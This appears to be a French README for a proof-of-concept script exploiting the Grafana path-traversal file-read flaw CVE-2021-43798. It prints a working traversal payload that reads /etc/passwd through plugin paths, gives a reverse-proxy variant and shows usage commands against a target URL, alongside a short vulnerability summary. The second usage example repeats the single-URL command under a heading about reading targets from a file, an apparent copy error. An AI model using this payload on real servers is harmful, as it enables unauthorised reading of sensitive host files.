
POC de la vulnérabilité de lecture arbitraire de fichiers grafana CVE-2021-43798, utilisant une méthode de détection par scrutation multi-plugins, permettant de spécifier une seule URL et de lire les URL depuis un fichier.
Si la cible est traitée via un proxy inverse, le payload peut être remplacé par celui-ci
url1 = url +"/public/plugins/"+str.rstrip(plugins)+"/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd"
Grafana est une plateforme d'application Web open source et multiplateforme de visualisation de données. Après configuration des sources de données connectées par l'utilisateur, Grafana peut afficher des graphiques de données et des alertes dans le navigateur Web.
Grafana présente une vulnérabilité de lecture arbitraire de fichiers sans authentification ; un attaquant peut, sans être authentifié, lire des fichiers arbitraires sur la machine hôte via cette vulnérabilité.
CVE : CVE-2021-43798
Composant : Grafana
Type de vulnérabilité : Lecture de fichiers
Impact : Obtention d'informations sensibles
Description : Un attaquant non authentifié peut exploiter cette vulnérabilité pour obtenir des fichiers sensibles du serveur.
python3 grafana_fileread.py -u http://localhost:3000
Les données obtenues peuvent être consultées dans le fichier grafana 8.x_fileread_vuln.txt
2. Détection des IP contenues dans un fichier
python3 grafana_fileread.py -u http://localhost:3000

